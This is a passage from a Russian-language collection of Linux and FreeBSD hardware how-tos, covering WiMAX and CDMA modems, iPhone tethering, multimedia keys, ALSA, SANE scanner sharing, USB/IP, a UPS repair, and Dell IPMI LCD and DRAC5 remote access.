       Link status = LINKUP ACHIEVED
    
    Здесь видны параметры скорости даунлинка/аплинка (2680/512 kbps - ограничение провайдера).
    
    Если соединение не установилось - нужно смотреть вывод ошибок в консоли демона
    и пытаться исправить. Также будет полезно включить опции AuthLog и просмотреть
    детальный лог. Вполне вероятно, для других провайдеров параметры аутентицикации
    будут совсем другие.
    
    
    7. Финальные шаги
    
    После того, как все будет правильно настроено - демон можно запустить в фоне:
    
       wimaxd -c /etc/wimaxd.conf
    
    и занести в стартовые скрипты системы.
    
    Клиентскую часть тоже можно автоматизировать, в документации есть пример
    скрипта на Python. Но я не силен в программировании на Python, поэтому оставляю
    это за рамками статьи.
    
    Осталось настроить PPPoE-соединение к провайдеру. Тут уже все стандартно -
    запускаем pppoeconf и отвечаем на вопросы. Обратите внимание, что интерфейс
    eth1 изначально не поднят, перед запуском PPPoE его нужно активировать
    (ifconfig eth1 up)
    
    Стартуем:
    
       pon dsl-provider
       ... и вуаля! Проверяем, поднялся ли ppp0:
       ifconfig ppp0
    
       ping ftp.mgts.by
       --- ftp.mgts.by ping statistics ---
       177 packets transmitted, 177 received, 0% packet loss, time  176214ms
       rtt min/avg/max/mdev = 42.551/59.213/71.809/8.631 ms
    
    Работает все хорошо, проблем замечено не было. Скорость - максимальная,
    ограниченная провайдером. Субъективно, пинг стал меньше и ровнее, чем под Windows.
    
    При подготовке статьи была использована документация из Sprint 4G Depelopment Pack.
    
    P.S. Выражаю благодарность человеку под ником amod-cccp за предоставленный линк
    на этот пак (месяц назад искал какую-либо информацию - ничего не нашел).
    
     
    ----* Использование iPhone как USB-модема в Ubuntu (доп. ссылка 1)   Автор: Юрий Евстигнеев  [комментарии]
     
    Для настройки работу iPhone в качестве модема через USB, необходимо установить
    свежие версии libimobiledevice, ipheth (iPhone USB Ethernet Driver) и gvfs из PPA-репозитория
    pmcenery:
    
      sudo add-apt-repository ppa:pmcenery/ppa
      sudo aptitude update
      sudo aptitude install libimobiledevice libimobiledevice-utils ipheth-utils gvfs
    
    Включаем на телефоне режим модема.
    Подключаем телефон через USB и настраиваем соединение в NetworkManager.
    
     
    ----* Подключение мультимедиа клавиш на usb-клавиатуре во FreeBSD (доп. ссылка 1)   Автор: arachnid  [комментарии]
     
    Условие - FreeBSD не ниже 8-ки. Мультимедиа клавиши usb-шных клавиатур не
    генерируют фиксированные скан-коды, поэтому этим придется заняться uhidd.
    Необходимо установить
    
       /usr/ports/sysutils/uhidd
    
    для того, что бы связать клавиши со скан-кодами, сначала запустим uhidd следующим образом:
    
       uhidd -o /dev/ugenX.X
    
    где параметр "-о" значит, что обслуживать демон будет только
    мультимедиа-клавиши, а номера в ugen должны ссылаться на клавиатуру.
    
    Запускаем
    
       usbconfig
    
    и смотрим вывод
    
    После запуска последовательно нажимаем все мультимедиа кнопки. на какие-то
    может быть реакция, на какие-то нет - пока неважно - главное последовательно
    пройтись по всем кнопкам.
    
    в результате этого мы получим файл
    
    /var/run/uhidd.ugenX.X/cc_keymap
    
    следующего вида
    
       0x046d:0xc30e={
         cc_keymap={
            Play/Pause="0x5A"
            Mute="0x5F"
            Volume_Increment="0x62"
            Volume_Decrement="0x63"
            AL_Consumer_Control_Configuration="0x71"
            AC_Home="0x66"
         }
       }
    
    
    где первыми идет обозначение клавиатуры (вендор:модель), а затем названия
    кнопок с произвольно присвоенными скан-кодами. и вот здесь есть одна хитрость -
    uhidd выбирает эти коды из списка свободных (посмотреть список можно в конце
    man uhidd.conf), но может так получиться, что какие-то коды уже заняты. в таком
    случае для этих клавиш надо прописать коды самостоятельно, но об этом чуть позже.
    
    Далее создаем файл /usr/local/etc/uhidd.conf
    
       default={
         mouse_attach="NO"
         kbd_attach="NO"
         vhid_attach="NO"
         cc_attach="YES"
       }
    
    
    повторяющий ту же опцию "-o", которую указывали при запуске вручную
    теперь
    
       cat /var/run/uhidd.ugenX.X/cc_keymap >> /usr/local/etc/uhidd.conf
    
    и делаем
    
       /usr/local/etc/rc.d/uhidd start /dev/ugenX.X
    
    и настраиваем  свой DE. правда здесь  может поджидать  маленькая досада  -
    поскольку uhidd  назначает скан-коды произвольно  из списка  неиспользуемых,
    то у  меня получилось, что  скан-код  с одной  из клавиш  не обрабатывался. В
    этом случае  просто назначаем  клавише другой  скан-код  из доступных.
    
    в случае, если window manager не поддерживает назначения произвольных сканкодов
    на нажатия, а обрабатывает только стандартные, тогда надо использовать
    
       xmodmap .Xmodmap
    
    где в .Xmodmap 
    
       keycode 170 = XF86AudioRaiseVolume
       keycode 184 = XF86AudioLowerVolume
       keycode 190 = XF86AudioMute
       ......
    
    Ссылки на использованные материалы:
     * http://wiki.freebsd.org/uhidd#head-629d89bc56c27990a707d46a32462dcdbdd3ccf7
     * man uhidd
     * man uhidd.conf
    
     
    ----* Подключение нескольких звуковых плат через ALSA (доп. ссылка 1) (доп. ссылка 2)   Автор: Max Tyslenko  [комментарии]
     
    При наличии в системе 2 звуковых плат, встроенной и внешней, Kubuntu по
    умолчанию для работы выбрала встроенную. Переключить вывод на внешнюю карту
    можно через GUI-конфигуратор "Параметры системы" / "Мультимедиа", но интерес
    представляет способ изменения активной карты из консоли.
    
    В помощь нам придет утилита: asoundconf
    
        $ asoundconf
        Usage:
        asoundconf is-active
        asoundconf get|delete PARAMETER
        asoundconf set PARAMETER VALUE
        asoundconf list
    
        Convenience macro functions:
        asoundconf set-default-card PARAMETER
        asoundconf reset-default-card
        asoundconf set-pulseaudio
        asoundconf unset-pulseaudio
        asoundconf set-oss PARAMETER
        asoundconf unset-oss
    
    Для переключения активной карты воспользуемся командой:
    
        $ asoundconf set-default-card PARAMETER
    
    Вместо параметра PARAMETER нужно указать имя звуковой карты, узнать которое можно через команду:
    
        $ asoundconf list
        Names of available sound cards:
        NVidia
        Intel
    
    В итоге выполняем:
    
        asoundconf set-default-card NVidia
    
    Второй способ - внести изменения в файл конфигурации ~/.asoundrc (локальный для
    пользователя) или /etc/asound.conf, в котором прописать:
    
       pcm.!default {
           type hw
           card NVidia
       }
    
    
    идентификатор карты можно посмотреть выполнив:
    
       cat /proc/asound/cards
    
    Дополнительно можно указать параметр "device", в котором привести номер
    устройства вывода (колонки, наушники и т.п.). Список устройств можно посмотреть
    через команду:
    
       cat /proc/asound/devices
    
    Прослушать заданный файл через определенное устройство можно, например, так:
    
       aplay -D hw:0,2 file.wav
    так
       aplay -D plughw:0,0 file.wav
    или так
       mplayer file.wav -ao alsa:device=hw=0.0
    
     
    ----* Организация совместного доступа к сканеру по сети (доп. ссылка 1)   Автор: Роман Сукочев  [комментарии]
     
    Задача: организовать совместный доступ пользователей с разных машин локальной
    сети к сканеру HP Scanjet G3110, подключенному к ПК с Ubuntu Linux.
    
    Настройка сервера к которому подключен сканер:
    
    1. Устанавливаем пакет 'sane-utils':
    
      sudo apt-get install sane-utils
    
    2. Добавляем в файл конфигурации /etc/sane.d/saned.conf IP-адреса компьютеров,
    которым необходимо открыть доступ к сканеру.
    
    3. В файл /etc/inetd.conf, при использовании в Ubuntu openbsd-inetd, добавляем
    или раскомментируем строку:
    
       sane-port stream tcp nowait saned:saned /usr/sbin/saned saned
    
    Если используется xinetd, настраиваем вызов saned по аналогии.
    
    4. Создаем группу scanner:
    
       sudo groupadd scanner
    
    добавляем себя и пользователя saned в эту группу:
    
       sudo usermod -aG scanner $USER
       sudo usermod -aG scanner saned
    
    5. Для организации доступа к сканеру из группы scanner редактируем файл /lib/udev/rules.d/40-libsane.rules
    ищем там свой сканер. Выглядеть его упоминание может примерно так:
    
       # Hewlett-Packard ScanJet G3110
       ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="4305", ENV{libsane_matched}="yes"
    
    приводим строку к такому виду:
    
       # Hewlett-Packard ScanJet G3110
       ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="4305", ENV{libsane_matched}="yes", MODE="664", GROUP="scanner"
    
    Если сканера нет в списке, его нужно добавить по аналогии с остальными
    сканерами. idVendor и idProduct сканера можно узнать с помощью команды:
    
       sane-find-scanner
    
    6. Перезагружаем компьютер для того чтобы удостовериться, что после
    перезагрузки все заработает как надо, или вручную перезапускаем сервисы saned,
    udev, openbsd-inetd (или xinetd).
    
    
    Настройка клиентской машины
    
    1. Устанавливаем пакет sane-utils:
    
       sudo apt-get install sane-utils
    
    2. В конец файла /etc/sane.d/net.conf добавляем IP-адрес сервера к которому подключен сканер.
    
    3. Теперь можно пробовать сканировать с помощью XSane или другой подходящей
    программой, используя расшаренный сканер.
    
    На ПК, работающих под Windows, для работы с Sane-сервером можно использовать
    такие клиенты, как XSane-win32 (http://www.xsane.org/xsane-win32.html) или
    SaneTwain (http://sanetwain.ozuzo.net/), для Mac OS X - Twain-sane (http://www.ellert.se/twain-sane/).
    
    Для организации сканирования на стороне клиента через web-браузер можно
    использовать проект PHPSane (http://sourceforge.net/projects/phpsane/).
    
     
    ----* Настройка работы CDMA модема через /dev/ttyACM0   Автор: Игорь Гаркуша  [комментарии]
     
    Окружение
    
    ОС - Fedora 11 (Russian Remix). Ядро 2.6.29.4-167.fc11.i686.PAE. Mодем Maxon
    Minimax MM-5500U (CDC ACM модем). Файлы /etc/wvdial.conf, /etc/resolv.conf
    настроены верно. Используется верно настроенная программа дозвона
    chestnut-dialer (вер. 0.3.3) (хотя можно и без нее если установлен wvdial).
    
    Ситуация 1.
    
    Загружается ОС. Модем отключен. Затем модем включается и дозвон невозможен,
    поскольку отсутствует файл устройства /dev/ttyACM0.
    
    Мониторинг командой udevadm monitor показывает, что его удаляет ядро и затем Udev.
    
    Ситуация 2. 
    
    Загружается ОС. Модем включен. Дозвон возможен (файл устройства /dev/ttyACM0
    существует). Модем отключается - файл  устройства /dev/ttyACM0 пропадает. При
    повторном включении модема файл устройства отсутствует. В итоге дозвон невозможен.
    
    Решение.
    
    Подобные ситуации возникали, в частности, и в Ubuntu 9.10 и в некоторых других
    Linux. Из форумов видно, что проблему рекомендуют решать перезагрузкой модуля
    ядра cdc-acm и созданием файла устройства в командном режиме. Рекомендуют также
    автоматизацию при помощи правил udev. Возможна даже ситуация когда имеем после
    нескольких plug/unplug модема множество /dev/ttyACM0..n. И модем не
    распознается. Правила udev помогают не всегда (установлено экспериментально).
    
    Связь с модемом можно установить и при помощи представленной ниже 
    специально разработанной программы (тестировалась на Fedora 11 Russian Remix) и
    Ubuntu 9.10 (версии udev 141 и 147 соответственно).
    
    
     // File minimaxd.c
     //
     #include <stdio.h>
     #include <stdlib.h>
     #include <string.h>
     #include <unistd.h>
     #include <sys/types.h>
     #include <signal.h>
     #include <syslog.h>
     
     #define TMP_FILE__PID 		"/tmp/minimaxd.pid"
     #define TMP_FILE__LSUSB		"/tmp/lsusbminimax.tmp"
     #define PATH_CDC_ACM_MODULE	"/sys/module/cdc_acm/initstate"
     #define PATH_MODEM_TTY		"/dev/ttyACM0"
     #define CHECK_MODEM_PLUG_STR	"lsusb | grep Qualcomm >   /tmp/lsusbminimax.tmp"
    
     int fileexist(const char* filename);
     void kill_copy_daemon();
     void start_restart();
     void stop();
     int CheckPlugModem();
     void wait_cdc_acm_control();
     int CheckPid();
     void SetPid();
     int GetPid();
     void PrintMessageToLog(char* szMessage);
     
     int main(int argc, char* argv[])
     {
       if(argc==2)
       {
         if((!strcmp("start",argv[1]))||(!strcmp("restart",argv[1]))) 
         {
           kill_copy_daemon();
           wait_cdc_acm_control();
         }
         else
         if(!strcmp("stop",argv[1])) kill_copy_daemon();
       }
       else
       {
          printf("Start/Restart MiniMax Modem Access:\nminimaxd start|stop|restart\n");
         printf("Background start:\nminimaxd start &\n");
       }
       return 0;
     }
    
     int fileexist(const char* filename)
     {
       int res = 0;
       FILE* f=fopen(filename,"rt");
       if(f!=NULL) { fclose(f); res=1; }
       return res;
     }
    
     void kill_copy_daemon()
     {
        char cmd[255]="";
        int pid = GetPid();
        if(pid>0) 
        {
           kill((pid_t)(pid), SIGKILL);
           strcpy(cmd,"rm -f "); strcat(cmd,TMP_FILE__PID);   system(cmd);
           strcpy(cmd,"rm -f "); strcat(cmd,TMP_FILE__LSUSB); system(cmd);
           PrintMessageToLog("Modem service is stopped");
        }
     }
    
     void start_restart()
     {
         system("rm -f /dev/modem");
         system("rm -f /dev/ttyACM*");
         system("rmmod cdc-acm");
         system("modprobe cdc-acm");
         system("mknod /dev/ttyACM0 c 166 0");
         system("chmod 666 /dev/ttyACM*");
         system("ln -s /dev/ttyACM0 /dev/modem");
         PrintMessageToLog("Modem service started");
     }
    
     void stop()
     {
        system("rmmod cdc-acm");
        system("rm -f /dev/modem");
        system("rm -f /dev/ttyACM*");
        PrintMessageToLog("Modem service is stopped");
     }
    
     int CheckPlugModem()
     {
       char str[255]="";
       int res = 0;
     
       system(CHECK_MODEM_PLUG_STR);
     
       sleep(2);
     
       FILE* f=fopen(TMP_FILE__LSUSB,"rt");
       if(f!=NULL)
       {
         strcpy(str,"");
         fscanf(f,"%s",str);
         fclose(f);
         if(strlen(str)>0) res = 1;
       }
       return res;
     }
     
     void wait_cdc_acm_control()
     {
       int fl_CDC_ACM_OK=0;
       int fl_ttyACM0_OK=0;
       
       if(!CheckPid())
       {
         SetPid();
        
         while(1)
         {
    	fl_CDC_ACM_OK=fileexist(PATH_CDC_ACM_MODULE);
     	if(CheckPlugModem())
    	{
    	  fl_ttyACM0_OK=fileexist(PATH_MODEM_TTY);
    	  
    	  if((fl_CDC_ACM_OK==1)&&(fl_ttyACM0_OK==0)) start_restart();
    	  else
    	  if((fl_CDC_ACM_OK==0)&&(fl_ttyACM0_OK==0)) start_restart();
    	}
    	else
    	{
    	  if(fl_CDC_ACM_OK) stop();
    	}
    	sleep(3);
         }
       }
     }
    
     int CheckPid()
     {
       return fileexist(TMP_FILE__PID);
     }
    
     void SetPid()
     {
       pid_t pid = getpid();
       FILE* f=fopen(TMP_FILE__PID,"wt");
       if(f!=NULL)
       {
         fprintf(f,"%d",pid);
         fclose(f);
       }
     }
     
     int GetPid()
     {
       int res = 0;
       FILE* f=fopen(TMP_FILE__PID,"rt");
       if(f!=NULL)
       {
         fscanf(f,"%d",&res);
         fclose(f);
       }
       else res = -3;
       return res;
     }
     
     void PrintMessageToLog(char* szMessage)
     {
       openlog("MINIMAXD", LOG_ODELAY, LOG_USER);
       syslog(LOG_INFO, "%s", szMessage);
       closelog();
     }
     
     
    Компиляция командой:
    
       gcc ./minimaxd.c -o minimaxd
    
    Для 64-разрядной версии:
    
       gcc ./minimaxd.c -m64 -o minimaxd
    
    Полученный minimaxd копируем в каталог /usr/local/bin/
    Назначаем владельцем root.
    
    Тестирование.
    
    Запуск программы из коммандной строки выполняем так:
       
       # minimaxd start
    
    или в фоне:
    
       # minimaxd start &
    
    Подключаем модем к usb-порту, ждем инициализации около 5 сек. Затем пробуем
    дозвон. Прерываем дозвон.
    
    Отсоединяем модем, подсоединяем заново и через 5 сек. повторяем процедуру. Если
    все Ok, то завершаем процедуру тестирования.
    Для завершения работы minimaxd, работающей в фоне, в другой консоли выполняем:
    
       # minimaxd stop
    
    Запуск при загрузке ОС.
    
    В каталоге /etc/rc.d/init.d создаем упрощенный скрипт (файл minimaxdaemon) для
    менеджмента "демона":
    
    
     #!/bin/sh
     # startup script for Minimax daemon (/usr/local/bin/minimaxd)
    
     DAEMON=/usr/local/bin/minimaxd
    
     minimaxdaemon_start ()
     {
         echo -n "Starting ${DAEMON}: "
         ${DAEMON} start &
     }
     
     minimaxdaemon_stop ()
     {
         echo -n "Shutting down ${DAEMON}: "
         ${DAEMON} stop
     }
     
     minimaxdaemon_restart ()
     {
         echo -n "Restarting ${DAEMON}: "
         ${DAEMON} restart &
     }
      
     
     case $1 in
     
     	start)
     		minimaxdaemon_start
     		;;
     		
     	stop)
     		minimaxdaemon_stop
     		;;
     	
     	status)
     		echo "${DAEMON}:" `pidof ${DAEMON}`
     		;;
     	
     	restart)
     		minimaxdaemon_restart
     		;;
     	
     	*)
     		echo "Usage: minimaxdaemon  {start|stop|restart|status}"
    		exit 1
    		;;
     esac
     exit 0
    
    
    Создаем на minimaxdaemon символические ссылки в каталогах rc?.d. Например, для
    Fedora 11 (Russion Remix):
    
       ln -s /etc/rc.d/init.d/minimaxdaemon /etc/rc.d/rc0.d/K01minimaxdaemon
       ln -s /etc/rc.d/init.d/minimaxdaemon /etc/rc.d/rc6.d/K01minimaxdaemon
       ln -s /etc/rc.d/init.d/minimaxdaemon /etc/rc.d/rc5.d/S96minimaxdaemon
    
    Теперь можно проверить работу minimaxd после перезагрузки.
    
    Заключение
    
    Следует отметить, что это все верно в случае, если в ядре существует поддержка
    модуля cdc-acm. Задержки (функции sleep) могут быть выбраны иные. Пример можно
    рассматривать и для других подобных модемов, работающих через cdc-acm-модуль и
    использующих /dev/ttyACM0-файл. Однако, надо учесть, что для определения в
    системе модема используется команда lsusb и в данном случае
    она в программе такая:
    
       lsusb | grep Qualcomm > /tmp/lsusbminimax.tmp
    
    Т.е. подразумевается, что модем определяется, например, как:
    
       Bus 009 Device 003: ID 05c6:3196 Qualcomm, Inc. CDMA Wireless Modem
    
    Поэтому в программе и фильтруем по слову "Qualcomm".
    В случае других производителей управляющую команду надо будет изменить.
    
     
    ----* Подключение удалённых USB устройств в Linux   Автор: pavlinux  [комментарии]
     
    Есть много причин использования физически удаленных USB устройств,
    именно устройств, а не их ресурсов или данных передаваемых с них.
    
    То есть, после прочтения и настройки данного ПО, вы сможете подключать флешки,
    камеры, принтеры, и т.п., находящиеся скажем в Австралии или дома, находясь на работе.
    
    О наличии или отсутствии модулей поддержки USB_IP в определенных дистрибутивах
    ничего сказать немогу, но вы сами можете прекрасно проверить командой:
    
       # modprobe -l | grep usbip
    
       /lib/modules/2.6.31.2/kernel/drivers/staging/usbip/vhci-hcd.ko
       /lib/modules/2.6.31.2/kernel/drivers/staging/usbip/usbip.ko
    
    Если появилось, что-то вроде этого, то переходим ко второй части, нет, - поехали дальше.
    
    1. Установка поддержки USB/IP в ядре.
    
    Для работы необходимо ядро версии не менее чем 2.6.20, после версии 2.6.28 этот
    проект перенесён в основную ветку ядра, но в раздел staging (по-русски - "почти
    работающие" :))
    
    Итак, если версия 2.6.28 и больше, запускаем конфигурацию ядра:
    
       # make menuconfig
    
    Идем в раздел:
       Device Drivers  --->
          Staging drivers  --->
    
    И включаем опции: (лучше как модули)
    
       <M>     USB IP support (EXPERIMENTAL)
       <M>       USB IP client driver
       <M>       USB IP host driver
    
    Сохраняем конфигурацию, компилируем и устанавливаем ядро.
    
       # make && make modules_install && make install;
    
    2. Установка утилит пользовательского режима.
    
    Для управлением и подключением наших устройств необходимы утилиты
    пользовательского режима и некоторые библиотеки, а именно:
    
       - sysfsutils        >= 2.0.0 sysfsutils library
    
    А для компиляции:
    
       - libwrap0-dev      tcp wrapper library (можно и без неё)
       - gcc               >= 4.0
       - libglib2.0-dev    >= 2.6.0
       - libtool, automake >= 1.9, autoconf >= 2.5.0, pkg-config
    
    Скачиваем архив с Sourceforge (я бы этого не делал) http://sourceforge.net/projects/usbip/files/
    Либо последние версии, через SVN:
    
       # cd /usr/src/
       # svn co https://usbip.svn.sourceforge.net/svnroot/usbip usbip
    
    Переходим в каталог с утилитами, запускаем autogen.sh,
    после чего должен появится configure
    
       # cd usbip/linux/truck/src/
       # ./autogen.sh
    
    configure лучше указать где находится файл описания производителей USB
    устройств - usb.ids, если этого не сделать, то ничего страшного, он установит
    свой в /usr/local/share/usbip/usb.ids :)
    
       # ./configure --with-usbids-dir=/usr/share
       # make
       # make install
    
    У вас должны появится три утилитки - usbip, usbipd, usbip_bind_driver и две
    библиотеки - libusbip.so.0.0.1 и libusbip.a
    
    3. Подключение и работа.
    
    Как при любом взаимодействии, так и у нас необходимы как минимум два индивида. :)
    
    В USB/IP они подразделяются на клиентскую и серверную части процесса работы.
    
    SERVER - это компьютер с физическим, необходимым нам устройством.
    CLIENT - так же, компьютер, возможно даже тот же, где работает сервер (сейчас всех запутаю).
    
    3.1 Серверная часть.
    
    И так, чтобы получить доступ по сети, скажем  к флешке на компьютере с именем [SERVER], необходимо:
    
       [SERVER]
    
    1. Физически подключить устройство.
    2. Загрузить модули:
    
       # modprobe -v usbip_common_mod
       # modprobe -v usbip
    
    3. Запустить сервер сетевых подключений
    
       # usbipd -D
    
    Должен открыться TCP порт 3240, и находиться в состоянии LISTEN
    
       # netstat -ltn;
    
       Active Internet connections (only servers)
       Proto Recv-Q Send-Q Local Address           Foreign Address         State
       tcp        0      0 0.0.0.0:3240            0.0.0.0:*               LISTEN
    
    4. Вывести список устройств возможных для подключения
    
       # usbip_bind_driver --list
    
       List USB devices
        - busid 2-1 (051d:0002)
                2-1:1.0 -> usbhid
    
        - busid 1-8 (058f:6387)
                1-8:1.0 -> usb-storage
    
    5. И наконец, сделать устройство доступным для клиентов.
    
       # usbip_bind_driver --usbip 1-8
    
       usbip_bind_driver --usbip 1-8
       ** (process:12829): DEBUG:  1-8:1.0     -> usb-storage
       ** (process:12829): DEBUG: unbinding interface
       ** (process:12829): DEBUG: write "add 1-8" to /sys/bus/usb/drivers/usbip/match_busid
       ** Message: bind 1-8 to usbip, complete!
    
    3.2 Клиентская часть.
    
       [CLIENT]
    
    1. Устанавливаем модули
    
       # modprobe -v usbip_common_mod
       # modprobe -v vhci-hcd
    
    Проверяем dmesg
    
       # dmesg
    
       vhci_hcd vhci_hcd: USB/IP Virtual Host Contoroller
       vhci_hcd vhci_hcd: new USB bus registered, assigned bus number 3
       usb usb3: New USB device found, idVendor=1d6b, idProduct=0002
       usb usb3: New USB device strings: Mfr=3, Product=2, SerialNumber=1
       usb usb3: Product: USB/IP Virtual Host Contoroller
       usb usb3: Manufacturer: Linux 2.6.31.2 vhci_hcd
       usb usb3: SerialNumber: vhci_hcd
    
    Всё в порядке, идем дальше...
    
    2. Выводим список устройств доступных на сервере, у которого адрес 192.168.0.1
    
       # usbip --list 192.168.0.1
    
       - 192.168.0.1
         1-8: Alcor Micro Corp. : Transcend JetFlash Flash Drive (058f:6387)
            : /sys/devices/pci0000:00/0000:00:02.1/usb1/1-8
            : (Defined at Interface level) (00/00/00)
            :  0 - Mass Storage / SCSI / Bulk (Zip) (08/06/50)
    
    Чудненько, мы видим удалённую флешку....
    
    3. И подключаем её как будто бы локальную
    
       # usbip --attach 192.168.0.1 1-8
    
    Проверяем состояние
    
       # usbip --port
       # lsusb
       # dmesg
    
    Если у Вас работает какая либо система автоподключения, наверно флещка уже
    куда-то подмонтировалась.
    
    
    Далее можно производить любые действия, так как вы работаете с обычными USB
    устройствами, - снимать, сканировать, печатать.
    
    4. Отключение устроиства на клиенте
    
       # usbip --detach 1-8
    
    
    P.S. Драйвер находиться в стадии глубокого эксперимента, так что ошибок очень
    много. Так например временное пропадание соединения, для TCP/IP явление
    нормальное, а вот временное пропадание USB устройства, приводит к его
    уничтожению из списка устройств. А после прохождения таймаута в TCP, устройство
    вдруг возвращается... :)
    
    В VHCI драйвере это конечно компенсируют, но так же есть пределы таймаутов. Так
    что, хорошо настроенная сеть, пускай даже и медленная, залог успеха. Про
    отключение режимов управлением питанием, понижение частоты, QoS, молчу - просто обязательно!
    
     
    ----* Исправляем неисправный Smart UPS собственными силами   Автор: urri  [комментарии]
     
    Была проблема: После замены аккумуляторов в smart-ups 1500 при подключении к
    сети ~220 УПС издал непрерывный сигнал и ни на что не реагировал.
    
    Замена С65 100х35v (электролит высох) на 100х63v решила проблему. Ищите сухие
    ёмкости , в них 75% неисправности электроники.
    
     
    ----* Вывод произвольного текста на LCD у серверов Dell 1950   Автор: rstone  [комментарии]
     
    Подразумевается что ipmitool установлен,  загружены и работают модули Linux ядра 
       ipmi_devintf          
       ipmi_si                
       ipmi_msghandler        
    
    Для проверки можно выполнить : 
    
       # ipmitool chassis status
       System Power         : on
       Power Overload       : false
       Power Interlock      : inactive
       Main Power Fault     : false
       ...
    
    У Вас сообщения могут быть другими, но не суть важно, важен факт что  команда работает. 
    
    По умолчанию этот скрипт будет выводить "имя сервера"  на LCD экран:
    
       #!/usr/bin/perl
    
       use warnings ; 
       use strict ; 
    
       my $DEBUG = 0  ;
       my $name = qx {hostname} ; 
       chomp $name ; 
    
       $name = (split(/\./,$name))[0];
       my @letters = split(//,$name);
       my $length = scalar @letters ;
       if ( $length < 1 ) { 
            print "Hostname not found\n" ;
            exit 1 ;
       }
       my $string ; 
       foreach my $letter ( @letters) { 
            my $h = ord($letter);
            my $hexval = sprintf("0x%x ", $h);
            $string .=$hexval ;
       }
    
       print "string $string of length $length\n" if $DEBUG ; 
       my $out = qx {ipmitool raw 0x6 0x58 193 0 0 $length $string};
       print "Output [$out]" if $DEBUG ; 
       $out = qx {ipmitool raw 0x6 0x58 194 0};
       print $out if $DEBUG ; 
    
     
    ----* Использование контроллера DRAC 5 в Linux (доп. ссылка 1)   Автор: Alex Samorukov  [комментарии]
     
    Для удаленного доступа на сервера Dell был установлен контроллер "Dell Remote
    Access Controller 5" (DRAC5).
    Это специализированное (его можно установить только на некоторые сервера Dell)
    аппаратное решение для
    удаленного доступа (KVM), мониторинга (используется IPMI контроллер) и
    удаленного управления питанием и
    монтирования CD/Floppy устройств по сети. В процессе работы с устройством я
    столкнулся с некоторыми
    сложностями, решив которые я и решил написать эту заметку.
    
    
    Что представляет из себя DRAC5?
    
    После того как контроллер установлен и настроен (из внутреннего BIOS) к нему
    можно подключиться по https или ssh.
    Большинство действий, такие как мониторинг, перезагрузка или управление
    питанием, настройки доступа и
    уведомлений не требуют какого либо специального ПО. Но 2 самые важные (на мой
    взгляд) функции - KVM и удаленное
     монтирование, сразу не заработали, так как требовали специального дополнения. О них и заметка.
    
    KVM в линукс
    
    Несмотря на то, что устройство было куплено совсем недавно в нем была
    устаревшая прошивка (0.36 при наличии 0.45
    на момент написания). В этой прошивке доступ к KVM возможен только с помощью
    специального дополнения,
     который доступен для IE (ActiveX) и Firefox Linux. При этом последний работает только в Firefox 2 
    (используются функции, которые убраны из Firefox 3), установка дополнения нормально не работает 
    (мне пришлось копировать нужные файлы руками). Так как держать FF2 i386 только
    для kvm мне не хотелось
    я решил обновить прошивку. Обновление доступно на сайте Dell, в том числе и для Linux версии.
    
    Прошивка обновляется без проблем, причем даже без перезагрузки сервера (CentOS 5.3 x86_64). 
    Таже рекомендую обновить прошивку контроллера BMC - без этого у меня были
    недоступны некоторые пункты
    меню мониторинга после обновления прошивки DRAC.
    
    После обновления появится, во первых, плагин для Linux Firefox 3 i386, а во вторых - java клиент. 
    Java клиент использует технологию Java Web Start (jnlp файлы) и прекрасно работает c SUN JRE в 
    Ubuntu x86_64 (да и думаю в любой другой ОС с javaws). Если у вас не прописана
    ассоциация для запуска
    jnlp файла, то просто укажите путь к bin/javaws jre. Клиент по функционалу ничем не отличается 
    от windows или native linux дополнения, так что данная проблема была успешна решена.
    
    Удаленное подключение устройств
    
    Контроллер позволяет подключать дисковые (CD или Floppy) устройства физически
    расположенные на машине клиента.
    Также плата умеет загружаться с созданных виртуальных устройств. Совместно с
    KVM это позволяет, например,
    установить операционную систему, или загрузится с Rescue CD для ремонта FS. К
    сожалению данная возможность
    также требует наличие плагина, который, в свою очередь, требует Linux Firefox
    i386. Поиск в интернете
    подсказал решение - оказывается у Dell есть CLI утилита для данной цели, racvmcli. Возможно она и 
    распространяется на одном из многочисленных дисков, которые шли с сервером, но
    так как у меня не было
    к ним доступа - пришлось "выкусывать" с LiveCD. Для этого скачиваем образ omsa-54-040308.iso 
    
    (http://linux.us.dell.com/files/openmanage-contributions/omsa-54-live/omsa-54-040308.iso) и
     извлекаем
    нужные файлы с него (используется sqashfs):
    
       # mkdir -p /mnt/cd /mnt/opt $HOME/dell
       # mount -o loop,ro omsa-54-040308.iso /mnt/cd/
       # mount -o loop,ro /mnt/cd/base/opt.mo /mnt/opt
       # cp /mnt/opt/opt/dell/srvadmin/rac5/bin/* $HOME/dell
       # umount /mnt/opt && umount /mnt/cd
    
    Все, нужные файлы в хомяке, подпапке Dell. Для подключения устройств используется утилита racvmcli
    
       root@samm-laptop:~/dell# ./racvmcli 
       racvmcli version 2.1.0
       Copyright (c) 2007 Dell, Inc.
       All Rights Reserved
    
       usage: racvmcli
    	-r RAC-IP-addr[:RAC-SSL-port]
    	-u RAC-user
    	-p RAC-user-password
    	-f {floppy-dev | disk-image}
    	-c {cdrom-dev | ISO-image}
    	[-v]	# version
    	[-h]	# help
    	[-m]	# manual page
    	[-e]	# use an SSL-encrypted channel
    
    Попробуем подключить устройство:
    
       root@samm-laptop:~/dell# ./racvmcli -r kvm.example.com -u user -p  password -c systemrescuecd-x86-1.1.6.iso 
       racvmcli: connecting(1)..
       Failed to initialize SSL layer
       racvmcli: unable to connect to 'kvm.example.com'
    
    Первый облом. strace показал что racvmcli пытается через dl() подгружать
    openssl и не находя нужной
    версии обламывается. При этом в качестве аргумента к dl() передается поочередно libssl.so.0.9.7,libssl.so.2,
    libssl.so.4,libssl.so.6, тогда как в Ubuntu установлена libssl.so.0.9.8. Я просто поправил 
    в бинарном редакторе 0.9.7 на 0.9.8 после чего программа успешно заработала.
    
       root@samm-laptop:~/dell# ./racvmcli -r kvm.example.com -u user -p password -c systemrescuecd-x86-1.1.6.iso 
       racvmcli: connecting(1)..
       ..connected to kvm.example.com
    
    Что особенно ценно - данная утилита может быть запущена, например, с сервера по
    соседству для большей скорости
    передачи. Я загрузился с RescueCD подключенным в Европе (сам сервер был в
    Америке) и загрузка заняла примерно
    10 минут, что тоже приемлемо.
    
    Доступ к серверу через SSH
    
    Если по каким-то причинам вам удобнее получать доступ к серверу через SSH, то
    для этого существуют все возможности.
    По умолчанию на контроллере включен SSH доступ, пользователь и пароль такой же
    как и на https. После подключения
    доступны 3 команды (или я только 3 нашел) racadm и smclp и connect. Первая
    служит для конфигурирования kvm,
